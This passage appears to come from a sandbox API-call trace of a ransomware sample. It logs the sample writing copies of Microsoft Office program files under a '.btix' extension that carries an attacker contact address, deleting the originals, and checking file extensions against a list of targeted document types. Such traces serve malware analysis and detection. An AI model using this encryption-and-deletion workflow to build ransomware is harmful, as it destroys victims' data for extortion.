files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.934] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.934] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.934] GetLastError () returned 0x0 [0159.934] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x11ec0, lpOverlapped=0x0) returned 1 [0159.962] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x11ed0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x11ed0, lpOverlapped=0x0) returned 1 [0159.963] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.963] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x116, lpOverlapped=0x0) returned 1 [0159.963] SetEndOfFile (hFile=0x2fc) returned 1 [0159.963] CloseHandle (hObject=0x2fc) returned 1 [0159.963] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.963] SetEndOfFile (hFile=0x364) returned 1 [0159.964] CloseHandle (hObject=0x364) returned 1 [0159.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0159.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.965] lstrlenW (lpString=".doc") returned 4 [0159.965] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.965] lstrlenW (lpString=".docx") returned 5 [0159.965] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.965] lstrlenW (lpString=".pdf") returned 4 [0159.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.965] lstrlenW (lpString=".xls") returned 4 [0159.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.965] lstrlenW (lpString=".xlsx") returned 5 [0159.965] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.965] lstrlenW (lpString=".ppt") returned 4 [0159.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.965] lstrlenW (lpString=".zip") returned 4 [0159.965] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.965] lstrlenW (lpString=".rar") returned 4 [0159.965] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.965] lstrlenW (lpString=".bz2") returned 4 [0159.965] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.966] lstrlenW (lpString=".7z") returned 3 [0159.966] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.966] lstrlenW (lpString=".dbf") returned 4 [0159.966] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.966] lstrlenW (lpString=".1cd") returned 4 [0159.966] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.966] lstrlenW (lpString=".jpg") returned 4 [0159.966] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.966] lstrlenW (lpString=".doc") returned 4 [0159.966] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.966] lstrlenW (lpString=".docx") returned 5 [0159.966] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.966] lstrlenW (lpString=".pdf") returned 4 [0159.966] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.966] lstrlenW (lpString=".xls") returned 4 [0159.966] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.966] lstrlenW (lpString=".xlsx") returned 5 [0159.966] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.966] lstrlenW (lpString=".ppt") returned 4 [0159.966] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.966] lstrlenW (lpString=".zip") returned 4 [0159.966] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.966] lstrlenW (lpString=".rar") returned 4 [0159.966] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.966] lstrlenW (lpString=".bz2") returned 4 [0159.966] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.966] lstrlenW (lpString=".7z") returned 3 [0159.966] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.967] lstrlenW (lpString=".dbf") returned 4 [0159.967] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.967] lstrlenW (lpString=".1cd") returned 4 [0159.967] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82 [0159.967] lstrlenW (lpString=".jpg") returned 4 [0159.967] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.967] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0159.967] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0159.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.968] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=24768) returned 1 [0159.968] CloseHandle (hObject=0x364) returned 1 [0159.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0159.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0159.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.968] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.968] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.969] GetLastError () returned 0x0 [0159.969] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0159.999] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0160.000] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.000] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x114, lpOverlapped=0x0) returned 1 [0160.000] SetEndOfFile (hFile=0x2fc) returned 1 [0160.000] CloseHandle (hObject=0x2fc) returned 1 [0160.000] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.000] SetEndOfFile (hFile=0x364) returned 1 [0160.001] CloseHandle (hObject=0x364) returned 1 [0160.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0160.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81 [0160.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81 [0160.002] lstrlenW (lpString=".doc") returned 4 [0160.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.002] lstrlenW (lpString=".docx") returned 5 [0160.002] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0160.002] lstrlenW (lpString=".pdf") returned 4 [0160.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.002] lstrlenW (lpString=".xls") returned 4 [0160.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.002] lstrlenW (lpString=".xlsx") returned 5 [0160.002] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0160.002] lstrlenW (lpString=".ppt") returned 4 [0160.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81 [0160.002] lstrlenW (lpString=".zip") returned 4 [0160.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.002] lstrlenW (lpString=".rar") returned 4 [0160.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.002] lstrlenW (lpString=".bz2") returned 4 [0160.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.002] lstrlenW (lpString=".7z") returned 3 [0160.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81 [0160.002] lstrlenW (lpString=".dbf") returned 4 [0160.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81 [0160.002] lstrlenW (lpString=".1cd") returned 4 [0160.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81 [0160.002] lstrlenW (lpString=".jpg") returned 4 [0160.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.003] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.003] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0160.003] GetLastError () returned 0x0 [0160.003] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xf5ed8, lpOverlapped=0x0) returned 1 [0160.170] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf5ee0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf5ee0, lpOverlapped=0x0) returned 1 [0160.184] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.184] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf4, lpOverlapped=0x0) returned 1 [0160.184] SetEndOfFile (hFile=0x2fc) returned 1 [0160.348] CloseHandle (hObject=0x2fc) returned 1 [0160.348] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.348] SetEndOfFile (hFile=0x364) returned 1 [0160.358] CloseHandle (hObject=0x364) returned 1 [0160.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll")) returned 1 [0160.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0160.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0160.359] lstrlenW (lpString=".doc") returned 4 [0160.359] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.359] lstrlenW (lpString=".docx") returned 5 [0160.359] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0160.359] lstrlenW (lpString=".pdf") returned 4 [0160.359] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.359] lstrlenW (lpString=".xls") returned 4 [0160.359] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.359] lstrlenW (lpString=".xlsx") returned 5 [0160.359] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0160.359] lstrlenW (lpString=".ppt") returned 4 [0160.359] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0160.359] lstrlenW (lpString=".zip") returned 4 [0160.359] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.359] lstrlenW (lpString=".rar") returned 4 [0160.359] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.359] lstrlenW (lpString=".bz2") returned 4 [0160.359] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.360] lstrlenW (lpString=".7z") returned 3 [0160.360] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0160.360] lstrlenW (lpString=".dbf") returned 4 [0160.360] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0160.360] lstrlenW (lpString=".1cd") returned 4 [0160.360] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0160.360] lstrlenW (lpString=".jpg") returned 4 [0160.360] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.360] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.360] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0160.361] GetLastError () returned 0x0 [0160.361] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xb260, lpOverlapped=0x0) returned 1 [0160.523] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xb270, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xb270, lpOverlapped=0x0) returned 1 [0160.524] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.524] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xee, lpOverlapped=0x0) returned 1 [0160.524] SetEndOfFile (hFile=0x2fc) returned 1 [0160.524] CloseHandle (hObject=0x2fc) returned 1 [0160.524] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.524] SetEndOfFile (hFile=0x364) returned 1 [0160.525] CloseHandle (hObject=0x364) returned 1 [0160.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 1 [0160.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0160.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0160.526] lstrlenW (lpString=".doc") returned 4 [0160.526] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0160.526] lstrlenW (lpString=".docx") returned 5 [0160.526] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0160.526] lstrlenW (lpString=".pdf") returned 4 [0160.526] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0160.526] lstrlenW (lpString=".xls") returned 4 [0160.526] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0160.526] lstrlenW (lpString=".xlsx") returned 5 [0160.526] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0160.526] lstrlenW (lpString=".ppt") returned 4 [0160.526] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0160.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0160.526] lstrlenW (lpString=".zip") returned 4 [0160.526] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0160.526] lstrlenW (lpString=".rar") returned 4 [0160.526] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0160.526] lstrlenW (lpString=".bz2") returned 4 [0160.527] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0160.527] lstrlenW (lpString=".7z") returned 3 [0160.527] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0160.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0160.527] lstrlenW (lpString=".dbf") returned 4 [0160.527] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0160.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0160.527] lstrlenW (lpString=".1cd") returned 4 [0160.527] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0160.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0160.527] lstrlenW (lpString=".jpg") returned 4 [0160.527] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0160.527] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.527] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0160.624] GetLastError () returned 0x0 [0160.624] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x6b538, lpOverlapped=0x0) returned 1 [0160.652] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x6b540, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x6b540, lpOverlapped=0x0) returned 1 [0160.660] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.660] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.660] SetEndOfFile (hFile=0x2fc) returned 1 [0160.660] CloseHandle (hObject=0x2fc) returned 1 [0160.661] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.661] SetEndOfFile (hFile=0x364) returned 1 [0160.664] CloseHandle (hObject=0x364) returned 1 [0160.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll")) returned 1 [0160.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0160.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0160.665] lstrlenW (lpString=".doc") returned 4 [0160.665] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.665] lstrlenW (lpString=".docx") returned 5 [0160.665] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0160.665] lstrlenW (lpString=".pdf") returned 4 [0160.665] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.665] lstrlenW (lpString=".xls") returned 4 [0160.665] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.665] lstrlenW (lpString=".xlsx") returned 5 [0160.665] lstrcmpiW 